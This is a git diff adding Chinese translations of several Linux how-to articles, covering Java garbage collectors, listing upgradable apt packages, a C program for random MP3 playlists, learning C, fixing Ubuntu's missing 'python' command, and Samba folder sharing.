垃圾收集器使用过程中,应用程序将暂停两次。首次暂停发生在标记可直接访问的存活对象时,这个暂停被称为*初始标记*。第二次暂停发生在 CMS 收集器结束时期,来修正在并发标记过程中,应用程序线程在 CMS 垃圾回收完成后更新对象时被遗漏的对象。这就是所谓的*重新标记*。 + +### 4、G1 收集器 + +![Garbage first][4] + +G1 垃圾收集器旨在替代 GMS。G1 垃圾收集器具备并行、并发以及增量压缩,且暂停时间较短。与 CMS 收集器使用的内存布局不同,G1 收集器将堆内存划分为大小相同的区域,通过多个线程触发全局标记阶段。标记阶段完成后,G1 知道哪个区域可能大部分是空的,并首选该区域作为清除/删除阶段。 + +在 G1 收集器中,一个对象如果大小超过半个区域容量会被认为是一个“大对象” 。这些对象被放置在老年代中,在一个被称为“humongous region”的区域中。 启用 G1 收集器的命令如下: + +``` +$ java -XX:+UseG1GC +``` + +### 5、Epsilon 收集器 + +该垃圾收集器是在 Java11 中引入的,是一个 *no-op*(无操作)收集器。它不做任何实际的内存回收,只负责管理内存分配。Epsilon 只在当你知道应用程序的确切内存占用情况并且不需要垃圾回收时使用。启用命令如下: + +``` +$ java -XX:+UnlockExperimentalVMOptions -XX:+UseEpsilonGC +``` + +### 6、Shenandoah 收集器 + +Shenandoah 是在 JDK12 中引入的,是一种 CPU 密集型垃圾收集器。它会进行内存压缩,立即删除无用对象并释放操作系统的空间。所有的这一切与应用程序线程并行发生。启用命令如下: + +``` +$ java -XX:+UnlockExperimentalVMOptions -XX:+UseShenandoahGC +``` + +### 7、ZGC 收集器 + +ZGC 为低延迟需要和大量堆空间使用而设计,允许当垃圾回收器运行时 Java 应用程序继续运行。ZGC 收集器在 JDK11 引入,在 JDK12 改进。在 JDK15,ZGC 和 Shenandoah 都被移出了实验阶段。启用 ZGC 收集器使用如下命令: + +``` +$ java -XX:+UnlockExperimentalVMOptions -XX:+UseZGC +``` + +### 灵活的垃圾收集器 + +Java 为我们提供了灵活的内存管理方式,熟悉不同的可用方法有助于为正在开发或运行的应用程序选择最合适的内存管理方式。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/garbage-collection-java + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-07/jaya-java-gc-serial.webp +[2]: https://opensource.com/sites/default/files/2022-07/jaya-java-gc-parallel.webp +[3]: https://opensource.com/sites/default/files/2022-07/jaya-java-gc-concurrent.webp +[4]: https://opensource.com/sites/default/files/2022-07/g1.png +[5]: https://opensource.com/home-page-new diff --git a/published/202207/20220712 List Upgradable Packages With apt Command in Ubuntu.md b/published/202207/20220712 List Upgradable Packages With apt Command in Ubuntu.md new file mode 100644 index 0000000000..2e4c7f3ed0 --- /dev/null +++ b/published/202207/20220712 List Upgradable Packages With apt Command in Ubuntu.md @@ -0,0 +1,186 @@ +[#]: subject: "List Upgradable Packages With apt Command in Ubuntu" +[#]: via: "https://itsfoss.com/apt-list-upgradable/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14861-1.html" + +在 Ubuntu 中使用 apt 命令列出可升级的软件包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/24/230954qjko0c0sn55ohjf0.jpg) + +[apt 命令][1] 用于 Debian 和 Ubuntu 中的包管理。虽然你可能已经熟悉安装和删除选项,但 `apt` 还提供了一些额外的功能。 + +其中之一是能够查看系统上所有可升级的软件包。要显示它们,你所要做的就是在终端中使用以下命令: + +``` +apt list --upgradable +``` + +如你所见,你甚至不需要使用 `sudo` 来列出可更新的包。它只是列出了可以更新的包,而不会更新它们。 + +实际上,当你运行 `sudo apt update` 命令更新本地包仓库缓存时,`apt` 命令会添加此提示。 + +``` +Fetched 1,243 kB in 17s (71.4 kB/s) +Reading package lists... Done +Building dependency tree... Done +Reading state information... Done +30 packages can be upgraded. Run 'apt list --upgradable' to see them. +``` + +我不记得在旧的 `apt-get` 命令中有任何类似的直接选项来列出所有可升级的包。这是 `apt` 在旧的 `apt-get` 命令之上添加的几个新功能之一。 + +让我们更详细地讨论一下。 + +### 列出所有可升级的包 + +你在这里应该知道的是**你只能列出通过 APT 包管理器可用的更新**。因此,如果你已将 PPA 或 [外部仓库][2] 添加到系统的 `sources.list`,你也将看到来自它们的更新。 + +但是你不会在这里获得 AppImage、Flatpak、Snap 或一些其他打包格式的更新。 + +换句话说,它只适用于 APT 包。 + +因此,要列出 Ubuntu 或 Debian 系统上的所有可升级包,你应该首先更新本地包缓存: + +``` +sudo apt update +``` + +然后你的系统将知道可用的软件包更新。`apt` 命令告诉你在 update 命令结束时可以升级多少个软件包: + +![The apt command shows the number of upgradable packages at the bottom of the apt update command output][3] + +要查看可以升级的软件包,请运行以下命令: + +``` +apt list --upgradable +``` + +你应该看到这样的输出: + +``` +~$ apt list --upgradable +Listing... Done +apparmor/jammy-updates 3.0.4-2ubuntu2.1 amd64 [upgradable from: 3.0.4-2ubuntu2] +brave-browser/stable 1.40.113 amd64 [upgradable from: 1.40.107] +evolution-data-server-common/jammy-updates,jammy-updates 3.44.2-0ubuntu1 all [upgradable from: 3.44.1-0ubuntu2] +evolution-data-server/jammy-updates 3.44.2-0ubuntu1 amd64 [upgradable from: 3.44.1-0ubuntu2] +``` + +![Listing all the upgradable packages][4] + +它**按字母顺序列出所有可升级的软件包**以及有关当前安装版本和新可用软件包版本的信息。 + +``` +brave-browser/stable 1.40.113 amd64 [upgradable from: 1.40.107] +``` + +例如,这显示我系统上安装了 Brave 浏览器,版本 1.40.107,并且版本 1.40.113 可用。 + +你能用这些信息做什么?让我分享一些我能想到的事情。 + +### 升级所有包 + +这可能是大多数普通 Ubuntu 用户所做的。你可以使用以下命令升级所有可升级包: + +``` +sudo apt upgrade +``` + +它列出了将要升级的软件包,然后要求按回车或 `Y` 确认升级。 + +![Upgrade all packages][5] + +如果你确定要升级所有软件包,则可以通过在命令中添加 `-y` 来跳过 “Do you want to continue” 部分。 + +``` +sudo apt upgrade -y +``` + +### 模拟升级(但不升级任何包) + +这是人们在 `apt list` 命令之前所做的。使用模拟选项,你实际上不会进行任何更改。它仅显示运行升级时将安装或升级的软件包。 + +``` +apt -s upgrade +``` + +你不需要使用 `sudo`(即使我在下面的截图中使用了它)。 + +![Running an upgrade simulation with apt command][6] + +### 仅升级选定的包 + +如果你正在管理一个 Ubuntu 服务器,并且你不想升级所有软件包,而只想升级少数选定的软件包中的一个(如 MySQL/Ngnix),你可以使用 `apt` 命令轻松完成。 + +``` +sudo apt --only-upgrade install package_name +``` + +实际上,如果你在已安装且有可用更新的软件包上运行 `apt install` 命令,它将升级该软件包。 + +使用 `--only-upgrade` 标志,你可以确保**仅升级**软件包(如果已安装)。如果尚未安装,它将不会安装给定的包。 + +你还可以通过提供名称来升级选定的几个包: + +``` +sudo apt --only-upgrade install package1 package2 +``` + +你也可以做相反的事情,[升级时保留选定的软件包][7]。 + +``` +sudo apt-mark hold package_name +``` + +这样,当你升级所有系统包时,将不会升级给定的包。 + +你可以使用以下命令删除保留设置: + +``` +sudo apt-mark unhold package_name +``` + +### 是否显示内核升级? + +这有点棘手。 + +当你运行 `apt list –upgradable` 命令时,它会显示所有可以升级的包。 + +但是如果有新的内核版本可用,它们可能不会显示,因为内核包名称以 `linux-headers-x-y` 开头。这是因为系统将它们视为新包,而不是对已安装的包 `linux-headers-a-b` 的升级。 + +但是,你仍然会在可升级包列表中看到 `linux-generic-hwe` 类型的包,因为该软件包将被升级(使用较新的内核)。 + +### 总结 + +列出可升级包的能力是 `apt` 命令为旧的 `apt-get` 命令带来的几个新功能之一。有关此主题的更多信息,你可以阅读我 [解释 apt 和 apt-get 命令之间的区别][8] 的文章。 + +作为桌面用户,我并不总是检查可以升级的软件包。我直接去升级。但是,当我管理服务器时,我更喜欢查看可用的更新,然后决定是否进行升级。 + +你呢?你觉得这个功能对你自己有用吗? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-list-upgradable/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/apt-command-guide/ +[2]: https://itsfoss.com/adding-external-repositories-ubuntu/ +[3]: https://itsfoss.com/wp-content/uploads/2022/07/update-package-cache-ubuntu.png +[4]: https://itsfoss.com/wp-content/uploads/2022/07/apt-list-upgradable-packages-ubuntu.webp +[5]: https://itsfoss.com/wp-content/uploads/2022/07/upgrade-all-packages-ubuntu.webp +[6]: https://itsfoss.com/wp-content/uploads/2022/07/run-an-upgrade-simulation-apt-ubuntu.webp +[7]: https://itsfoss.com/prevent-package-update-ubuntu/ +[8]: https://itsfoss.com/apt-vs-apt-get-difference/ diff --git a/published/202207/20220713 How I create music playlists on Linux.md b/published/202207/20220713 How I create music playlists on Linux.md new file mode 100644 index 0000000000..708acec8c8 --- /dev/null +++ b/published/202207/20220713 How I create music playlists on Linux.md @@ -0,0 +1,215 @@ +[#]: subject: "How I create music playlists on Linux" +[#]: via: "https://opensource.com/article/22/7/c-linux-mp3" +[#]: author: "Rikard Grossman-Nielsen https://opensource.com/users/rikardgn" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14868-1.html" + +如何编写 C 程序在 Linux 上创建音乐播放列表 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/26/223349t4yiqd1yikb9k117.jpg) + +> 使用我在 Linux 上制作的这个 C 程序在旅途中聆听你喜爱的歌曲。 + +我最近在 Linux 中编写了一个 C 程序,从我广泛的 MP3 库中创建一个较小的随机 MP3 文件选集。该程序会遍历一个包含我的 MP3 库的目录,然后创建一个包含随机的、较小的歌曲选集的目录。然后我将这些 MP3 文件复制到我的智能手机上,以便随时随地收听。 + +瑞典是一个人口稀少的国家,有许多农村地区没有完整的手机覆盖。这就是在智能手机上拥有 MP3 文件的原因之一。另一个原因是我并不总是有钱购买流媒体服务,所以我喜欢拥有自己喜欢的歌曲的副本。 + +你可以从它的 [Git 仓库][2] 下载我的应用。我专门为 Linux 编写了它,部分原因是在 Linux 上很容易找到经过良好测试的文件 I/O 例程。多年前,我尝试使用专有的 C 库在 Windows 上编写相同的程序,但在尝试文件复制时遇到了困难。Linux 使用户可以轻松直接地访问文件系统。 + +本着开源的精神,我没费多少力气就找到了 Linux 的文件 I/O 代码来激发我的灵感。我还发现了一些启发了我的分配内存的代码。我编写了随机数生成的代码。 + +该程序的工作方式如下所述: + +1. 询问源目录和目标目录。 +2. 询问存放 MP3 文件的目录下的文件个数。 +3. 搜索你希望复制的收藏的百分比(从 1.0% 到 88.0%)。如果你有 1000 个文件的集合,并希望从你的集合中复制 125 个文件而不是 120 个文件,你也可以输入 12.5% 之类的数字。我将上限设置为 88%,因为复制超过 88% 的库将基本生成与你的基础库相似的库。当然,代码是开源的,因此你可以根据自己的喜好自由修改。 +4. 使用指针和 `malloc` 分配内存。一些操作需要内存,包括代表音乐收藏中文件的字符串列表。还有一个列表来保存随机生成的数字。 +5. 生成所有文件范围内的随机数列表(例如,如果集合有 1000 个文件,则为 1 到 1000)。 +6. 复制文件。 + +其中一些部分比其他部分更简单,但代码只有大约 100 行: + +``` +#include +#include +#include +#include /* include necessary header files */ +#include +#include +#include +#include + +#define BUF_SIZE 4096 /* use buffer of 4096 bytes */ +#define OUTPUT_MODE 0700 /*protect output file */ +#define MAX_STR_LEN 256 + +int main(void) { + DIR *d; + struct dirent *dir; + char strTemp[256], srcFile[256], + dstFile[256], srcDir[256], dstDir[256]; + char **ptrFileLst; + + char buffer[BUF_SIZE]; + int nrOfStrs=-1, srcFileDesc, + dstFileDesc, readByteCount, + writeByteCount, numFiles; + int indPtrFileAcc, q; + + float nrFilesCopy; + // vars for generatingRandNumList + int i, k, curRanNum, curLstInd, + numFound, numsToGen, largNumRange; + int *numLst; + + float procFilesCopy; + printf("Enter name of source Directory\n"); + scanf("%s", srcDir); + printf("Enter name of destionation Directory\n"); + scanf("%s", dstDir); + printf("How many files does the directory with mp3 files contain?\n"); + scanf("%d", &numFiles); + printf("What percent of the files do you wish to make a random selection of\n"); + printf("enter a number between 1 and 88\n"); + scanf("%f", &procFilesCopy); + + // allocate memory for filesList, list of random numbers + ptrFileLst= (char**) malloc(numFiles * sizeof(char*)); + + for (i = 0; i < numFiles; i++) { + ptrFileLst[i] = (char*)malloc(MAX_STR_LEN * sizeof(char)); + } + + largNumRange = numFiles; + nrFilesCopy = (procFilesCopy / 100) * numFiles; + + numsToGen = (int)((procFilesCopy / 100) * numFiles); + printf("nrFilesCopy=%f", nrFilesCopy); + printf("NumsToGen=%d", numsToGen); + numLst = malloc(numsToGen * sizeof(int)); + srand(time(0)); + + numLst[0] = rand() % largNumRange + 1; + numFound=0; + do { + curRanNum = (int)rand() % largNumRange + 1; + if (numLst[0] == curRanNum) { + numFound=1; + } + } while(numFound == 1); + + numLst[1] = curRanNum; + getchar(); + curLstInd = 1; + i = 0; + while(1) { + do { + numFound = 0; + curRanNum = (int)rand() % largNumRange + 1; + for (int k = 0; k <= curLstInd; k++){ + if (numLst[k] == curRanNum) + numFound = 1; + } + } while(numFound == 1); + numLst[curLstInd+1] = curRanNum; + curLstInd++; + i++; + // numsToGen=Total numbers to generate minus two + // already generated by the code above this loop + if (i == (numsToGen-2)) + break; + } + + d = opendir(srcDir); + if (d) { + while ( (dir = readdir(d)) != NULL ) { + strcpy(strTemp, dir->d_name); + + if (strTemp[0] != '.') { + nrOfStrs++; + strcpy(ptrFileLst[nrOfStrs], strTemp); + } + } + closedir(d); + } + + for (q = 0; q <= curLstInd; q++) { + indPtrFileAcc = numLst[q]; + strcpy(srcFile, srcDir); + strcat(srcFile, "/"); + strcat(srcFile, ptrFileLst[indPtrFileAcc]); + strcpy(dstFile, dstDir); + strcat(dstFile, "/"); + strcat(dstFile, ptrFileLst[indPtrFileAcc]); + + srcFileDesc = open(srcFile, O_RDONLY); + dstFileDesc = creat(dstFile, OUTPUT_MODE); + + while(1) { + readByteCount = read(srcFileDesc, buffer, BUF_SIZE); + if (readByteCount <= 0) + break; + + writeByteCount = write(dstFileDesc, buffer, readByteCount); + if(writeByteCount <= 0) + exit(4); + } + + //close the files + close(srcFileDesc); + close(dstFileDesc); + } +} +``` + +这段代码可能是最复杂的: + +``` +while(1) { + readByteCount = read(srcFileDesc, buffer, BUF_SIZE); + if (readByteCount <= 0) + break; + + writeByteCount = write(dstFileDesc, buffer, readByteCount); + if (writeByteCount <= 0) + exit(4); +} +``` + +这将从指定的文件中读取多个字节(`readByteCount`)到字符缓冲区中。该函数的第一个参数是文件名(`srcFileDesc`)。第二个参数是一个指向字符缓冲区的指针,这之前在程序中声明过。该函数的最后一个参数是缓冲区的大小。 + +程序返回读取的字节数(在本例中为 4 个字节)。如果返回的数字为 0 或更少,则第一个 `if` 子句会跳出循环。 + +如果读取字节数为 0,则所有写入完成,循环中断以写入下一个文件。如果读取的字节数小于 0,则发生错误并退出程序。 + +当读取 4 个字节时,它会写入它们。`write` 函数接受三个参数。第一个是要写入的文件,第二个是字符缓冲区,第三个是要写入的字节数(4 个字节) .该函数返回写入的字节数。 + +如果写入了 0 个字节,则发生了写入错误,因此第二个 `if` 子句退出程序。 + +`while` 循环读取并复制文件,一次 4 个字节,直到文件被复制。复制完成后,你可以将随机生成的 mp3 文件的目录复制到你的智能手机。 + +复制和写入例程相当有效,因为它们使用 Linux 中的文件系统调用。 + +### 改进代码 + +该程序很简单,可以在用户界面和灵活性方面进行改进。例如,你可以实现一个计算源目录中文件数量的函数,这样你就不必手动输入它。你可以添加选项,这样你就可以非交互地传递百分比和路径。但是代码做了我需要它做的事情,它是 C 编程语言简单效率的演示。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/c-linux-mp3 + +作者:[Rikard Grossman-Nielsen][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rikardgn +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LIFE_musicinfinity.png +[2]: https://github.com/rikardgn/learnC/blob/main/randMp3Copy.c diff --git a/published/202207/20220714 5 ways to learn C programming on Linux.md b/published/202207/20220714 5 ways to learn C programming on Linux.md new file mode 100644 index 0000000000..4b7cc34de2 --- /dev/null +++ b/published/202207/20220714 5 ways to learn C programming on Linux.md @@ -0,0 +1,104 @@ +[#]: subject: "5 ways to learn C programming on Linux" +[#]: via: "https://opensource.com/article/22/7/learn-c-linux" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14869-1.html" + +在 Linux 上学习 C 语言的五种方式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/26/232122wc4c5g55363bgj5g.jpg) + +> 请下载我们的电子书获得在 Linux 和 FreeDOS 上 C 语言编程的提示和技巧。 + +有许多关于为什么 C 语言能够经久不衰的说法。或许是因为它语法简单明了。又或许是因为它常被认为是实用的语言,因为它不基于其他高级语言,可以在任何平台上编译运行。C 显然是一种强大的语言,并且我认为它经久不衰与它作为其他技术的基础的方式相关。这里有 5 项我喜爱的基于 C 语言的技术,希望它们能够帮助你更多的了解 C 语言。 + +### 1、GObject 和 GTK + +C 语言不是面向对象编程的语言。它没有 `class` 关键字。 一些人用 C++ 进行面向对象编程,但是还有一些人坚持用 C 和 GObject 库。GObject 库为 C 语言提供了一个 `class` 结构体,GTK 项目以提供可通过 C 访问的工具包而闻名。没有 GTK ,就没有 GIMP (GTK 就是为此开发的)、GNOME 和其他成千上百流行的开源应用。 + +#### 了解更多 + +GObject 和 GTK 是使用 C 开始进行 GUI 编程的绝佳方式。它们“装备精良”,可以让你用 C 语言进行图形应用的编程,因为开发者为你做了许多“繁重工作”。他们定义了类和数据类型,创建了工具包,你所要做的就是将所有东西放在一起。 + +### 2、Ncurses + +如果 GTK 超过了你的需求,你或许认为一个终端用户界面terminal user interface(TUI)更适合你。Ncurses 库可以在终端创建“小部件”,创建一种在终端窗口上绘制图形的应用程序。你可以使用方向键控制界面,选择按钮和元素,就像不用鼠标来使用 GUI 应用一样。 + +#### 了解更多 + +利用 Ncurses 库使用 C 语言写一个 [猜数字][3] 游戏。 + +### 3、Lua 和 Moonscript + +Lua 是一种脚本语言,它可以使用内置的 C API 访问 C 语言库。它十分精巧、快捷以及简单,拥有约 30 个函数和少量内置库。你可以使用 Lua 进行系统自动化、游戏修改和脚本编写、使用 LÖVE 之类的前端进行游戏开发,或者使用 GTK 进行一般应用程序开发(例如 [Howl 文本编辑器][4])。 + +#### 了解更多 + +Lua 十分好的一点是你可以从它开始学习掌握基本的编程理念,然后当你有足够勇气直面基础编程语言时,再探索它的 C 语言 API 。另一方面,如果你只会 Lua ,那也没事儿。Lua 有很多的 [外部库][5] ,使其成为各种开发方式的绝佳选择。 + +### 4、Cython + +Lua 不是唯一带有 C 接口的编程语言。[Cython][6] 是一种编译器和编程语言,旨在使为 Python 编写 C 扩展就像编写 Python 代码一样容易。本质上,你可以编写 Python 并最终得到 C 语言程序。最简单的示例: + +``` +print("hello world") +``` + +创建一个 `setup.py` 脚本: + +``` +from setuptools import setup +from Cython.Build import cythonize + +setup( + ext_modules = cythonize("hello.pyx") +) +``` + +运行该 `setup` 脚本: + +``` +$ python3 ./setup.py +``` + +最后你会在同一个目录中得到一个 `hello.c` 和 `hello.cpython-39-x86_64-linux-gnu.so` 文件。 + +#### 了解更多 + +[Cython][7] 是 Python 的一个超集,支持 C 语言的函数和数据类型。它不可能帮你直接学习 C 语言,但它为希望学习 C 代码并将其集成到 Python 中的 Python 开发人员开辟了新的可能性。 + +### 5、FreeDOS + +了解更多 C 语言的最好方式是编写 C 代码,没有什么比写你可以真正使用的代码更令人激动的了。FreeDOS 项目是 DOS 的开源实现, 而 DOS 是 Windows 的前身。或许你已经用过 FreeDOS 了,或者作为运行 BIOS 更新程序的便捷开源方法,或者在模拟器中玩经典的计算机游戏。你可以用 FreeDOS 做更多事情。它是学习 C 语言的理想平台,其中包含一系列工具,鼓励你编写自己的命令和简单(或不那么简单,如果你愿意)的应用程序。当然你可以在任何系统上写 C 代码,但是 FreeDOS 的便利可能会让你感到耳目一新。天空有极限,但即使在地面上,你也可以用 C 做一些非常有趣的事情。 + +### 下载电子书 + +你可以从我们编写的新 [电子书][8] 中学到更多 C 语言,并在我们的电子书中了解有关 FreeDOS 上 C 语言的更多信息。这些是编程文章的集合,可帮助你学习 C 语言,并演示如何以有用的方式用 C 写一些代码。 + +> **[下载电子书][8]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/learn-c-linux + +作者:[Alan Smithee][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/laptop_screen_desk_work_chat_text.png +[2]: https://opensource.com/downloads/guide-c-programming +[3]: https://opensource.com/article/21/8/guess-number-game-ncurses-linux +[4]: https://opensource.com/article/20/12/howl +[5]: https://opensource.com/article/19/11/getting-started-luarocks +[6]: http://cython.org +[7]: https://opensource.com/article/21/4/cython +[8]: https://opensource.com/downloads/guide-c-programming diff --git a/published/202207/20220714 Fixing -Command -python- not found- Error in Ubuntu Linux.md b/published/202207/20220714 Fixing -Command -python- not found- Error in Ubuntu Linux.md new file mode 100644 index 0000000000..9531c34ad2 --- /dev/null +++ b/published/202207/20220714 Fixing -Command -python- not found- Error in Ubuntu Linux.md @@ -0,0 +1,138 @@ +[#]: subject: "Fixing “Command ‘python’ not found” Error in Ubuntu Linux" +[#]: via: "https://itsfoss.com/python-not-found-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14878-1.html" + +修复 Ubuntu Linux 中 “Command ‘python’ not found” 的错误 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/30/071627r176w1k1y5dkkw6w.jpg) + +如何在 Linux 终端中运行一个 Python 程序?像这样,对吗? + +``` +python program.py +``` + +然而,如果你试图在 Ubuntu(和其他一些发行版)中使用 `python` 命令,它会抛出一个错误。 + +``` +command ‘python’ not found, did you mean: +command ‘python3’ from deb python3 +command ‘python’ from deb python-is-python3 +``` + +如果你注意这个错误信息,它说明了很多东西。**这里的 `python` 命令实际上是 `python3`**。 + +如果你不理解,不用担心。我将在这里详细解释。 + +### 为什么在 Ubuntu 上没有发现 python 命令? + +这是因为 Python 语言不是以 `python` 的形式安装的,而是以 `python3` 或 `python2` 的形式安装的(在一些老的 Ubuntu 版本中)。 + +在遥远的过去的某个时间点,Python 实际上是作为 `python` 包/可执行文件提供的。当 Python 发布第二版时,Ubuntu 和其他发行版不得不同时支持 Python 1.x 和 2.x 版本。 + +因此,他们将较新的 Python 版本命名为 `python2`,以区分这两个版本。其他应用或库也在其代码中指定 `python` 或 `python2`。 + +最终,Python 1 版本被完全停用,但软件包继续被命名为 `python2`。 + +类似地,当 Python 3 版本发布时,发行版开始同时提供 `python2` 和 `python3` 包。 + +Python 2 不再被支持,Python 3.x 是你在 Ubuntu 上安装的版本。该软件包仍被命名为 `python3`。 + +**总结一下,你已经在 Ubuntu 上安装了 Python。它是以 `python3` 软件包方式使用的。** + +那么,当你 [在 Ubuntu 上看到 “Python command not found” 的错误][1] 时,你有什么选择?让我来介绍一下。 + +### 确保你的系统中已经安装了 Python + +它应该已经安装了,但仔细检查一下也无妨。 + +Ubuntu 18.04 也有 Python 2,但 20.04 及更高版本只有 Python 3。不过,你有哪个版本: + +``` +type python python2 python3 +``` + +正如你在下面的截图中看到的,我的系统上安装了 Python 3 版本。 + +![Checking Python version in Ubuntu][2] + +如果你没有安装任何 Python 版本,你可以用以下命令安装 Python 3 版本。 + +``` +sudo apt install python3 +``` + +### 使用 python3 而不是 python + +如果对你来说不是太麻烦,在需要的地方使用 `python3` 命令而不是 `python`。 + +想检查已安装的 Python 版本吗?请这样输入: + +``` +python3 --version +``` + +然后你会在输出中得到版本的详细信息: + +``` +~$ python3 --version +Python 3.10.4 +``` + +如果你必须运行一个 Python 程序,请像这样执行它: + +``` +python3 program.py +``` + +这在大多数情况下应该对你有用。但是,如果你使用的是一些(旧的)Python 应用,期望在其代码中运行 Python 可执行文件,你就会有问题。别担心,你也可以绕过它。 + +### 将 python3 链接为 python + +你可以在你的 `.bashrc` 文件中创建一个永久别名,像这样: + +``` +alias python='python3' +``` + +这样,你可以运行 `python` 命令,而你的系统运行 `python3`。 + +这在大多数情况下都会起作用,除非某些程序期望运行 `/usr/bin/python`。现在,你可以在 `/usr/bin/python` 和 `/usr/bin/python3` 之间建立符号链接,但对于 Ubuntu 用户来说,存在一个更简单的选择。 + +对于 Ubuntu 20.04 和更高版本,如果你安装了 `python-is-python3` 软件包,你有一个软件包可以自动完成所有链接创建。这也是原始错误信息所提示的。 + +``` +sudo apt install python-is-python3 +``` + +![install python is python3 ubuntu][3] + +你可以看到符号链接已经被创建,你可以使用 `python` 命令(实际上是运行 `python3`),没有任何问题。 + +![checking python ubuntu][4] + +我希望这能澄清 Ubuntu 中 Python 软件包的问题。如果你有任何问题或建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/python-not-found-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/bash-command-not-found/ +[2]: https://itsfoss.com/wp-content/uploads/2022/07/check-python-version-ubuntu.png +[3]: https://itsfoss.com/wp-content/uploads/2022/07/install-python-is-python3-ubuntu.png +[4]: https://itsfoss.com/wp-content/uploads/2022/07/checking-python-ubuntu.png diff --git a/published/202207/20220716 Guide- How to Share A Folder Between Ubuntu-Linux and Windows.md b/published/202207/20220716 Guide- How to Share A Folder Between Ubuntu-Linux and Windows.md new file mode 100644 index 0000000000..6e5fa9d287 --- /dev/null +++ b/published/202207/20220716 Guide- How to Share A Folder Between Ubuntu-Linux and Windows.md @@ -0,0 +1,97 @@ +[#]: subject: "Guide: How to Share A Folder Between Ubuntu/Linux and Windows" +[#]: via: "https://www.debugpoint.com/guide-how-share-folder-between-ubuntu-linux-windows/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14850-1.html" + +如何在 Ubuntu/Linux 和 Windows 之间共享文件夹 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/21/104750kh3y9craf6s6nasj.jpg) + +> 本初学者指南解释了如何在 Ubuntu/Linux 中快速共享一个文件夹。 + +在 Ubuntu/Linux 中共享一个文件夹并在其他操作系统(如 Windows)中通过网络访问并不难。默认情况下,Ubuntu 并没有安装所需的软件包。但是,你可以打开安装向导来自动安装所需的软件。 + +本 [指南][1] 适用于所有 Ubuntu 版本(包括 [22.04][2]、20.04、18.04、19.10 以及即将发布的版本 —— 除非此功能的设计发生重大的变化)。 + +### Ubuntu 中共享文件夹的步骤 + +**步骤 1:** 打开文件管理器,右键单击共享的文件夹。点击上下文菜单中的“本地网络共享”选项。 + +![本地网络共享选项][3] + +**步骤 2:** 在文件夹共享对话框中点击共享文件夹复选框。 + +这将在你的系统中安装 [Samba][4] 软件包。Samba 用于在 Windows 和 Unix 系统之间通过网络共享文件和打印机。 + +![文件夹共享选项 - 安装 Samba][5] + +**步骤 3:** 安装 Samba 后,执行以下操作共享文件夹或目录。 + + * 选中共享文件夹复选框。 + * 输入共享名称。这将是你从另一个系统(如 Windows)看到的名称。尽量不要使用任何带有空格的名称。 + * (可选)通过勾选相应选项,你可以控制共享文件夹的写入权限,以及允许访客访问。 + * 如果你允许访客访问,则没有凭据的人可以访问共享文件夹。所以要谨慎。 + * 如果你希望用户输入用户名和密码,打开终端并运行以下命令。 + +``` +sudo smbpasswd -a 用户名 +``` + +`用户名` 应该是对应 Ubuntu 系统的有效用户。 + +现在,你应该已经设置好了共享的文件夹或目录。 + +### 如何访问共享文件夹 + +从 Ubuntu/Linux 系统中访问共享文件夹,你需要系统的 IP 地址或主机名。为此,打开“系统设置System Settings -> Wi-Fi -> 获取 IP 地址Get the IP address”。 + +![IP 地址设置][6] + +如果你运行的是 Linux 发行版不是 Ubuntu,此步骤略有不同。你可能想运行 `ip addr` 来获取 